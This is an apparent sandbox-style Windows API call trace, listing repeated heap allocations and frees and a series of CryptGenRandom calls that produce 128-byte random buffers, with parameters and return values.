	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.693] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.693] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.693] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.693] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.694] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.694] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.694] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.694] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.695] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.695] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.695] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.696] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.696] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.696] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.697] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.697] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.697] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.697] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.697] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.698] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.698] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.698] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.698] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.699] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.699] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.699] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.700] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.700] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.700] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.701] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.701] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.701] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.702] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.702] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.702] CryptAcquireContextW (in: phProv=0x39d41c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d41c*=0x5ba730) returned 1
	[0030.703] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d430 | out: pbBuffer=0x39d430) returned 1
	[0030.703] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9168
	[0030.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6cc0 | out: hHeap=0x580000) returned 1
	[0030.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0030.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5ba730
	[0030.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x596fd0
	[0030.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba858
	[0030.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0030.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5b6cc0
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10c) returned 0x5bc840
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b99d8
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6cc0 | out: hHeap=0x580000) returned 1
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baa88
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b99d8 | out: hHeap=0x580000) returned 1
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b99d8
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b99d8 | out: hHeap=0x580000) returned 1
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baa88 | out: hHeap=0x580000) returned 1
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc840 | out: hHeap=0x580000) returned 1
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0030.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efc0 | out: hHeap=0x580000) returned 1
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b99d8
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9948
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b98b8
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9828
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9798
	[0030.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9708
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9678
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b95e8
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9558
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b94c8
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9438
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b93a8
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9318
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9288
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b91f8
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8748
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b87d8
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8868
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b88f8
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8988
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8a18
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8aa8
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8b38
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8bc8
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8c58
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8ce8
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8d78
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e08
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e98
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8f28
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8fb8
	[0030.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9048
	[0030.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b99d8 | out: hHeap=0x580000) returned 1
	[0030.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9948 | out: hHeap=0x580000) returned 1
	[0030.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b98b8 | out: hHeap=0x580000) returned 1
	[0030.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9828 | out: hHeap=0x580000) returned 1
	[0030.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9798 | out: hHeap=0x580000) returned 1
	[0030.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9708 | out: hHeap=0x580000) returned 1
	[0030.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9678 | out: hHeap=0x580000) returned 1
	[0030.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b95e8 | out: hHeap=0x580000) returned 1
	[0030.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9558 | out: hHeap=0x580000) returned 1
	[0030.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b94c8 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9438 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b93a8 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9318 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9288 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b91f8 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8748 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b87d8 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8868 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b88f8 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8988 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8a18 | out: hHeap=0x580000) returned 1
	[0030.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8aa8 | out: hHeap=0x580000) returned 1
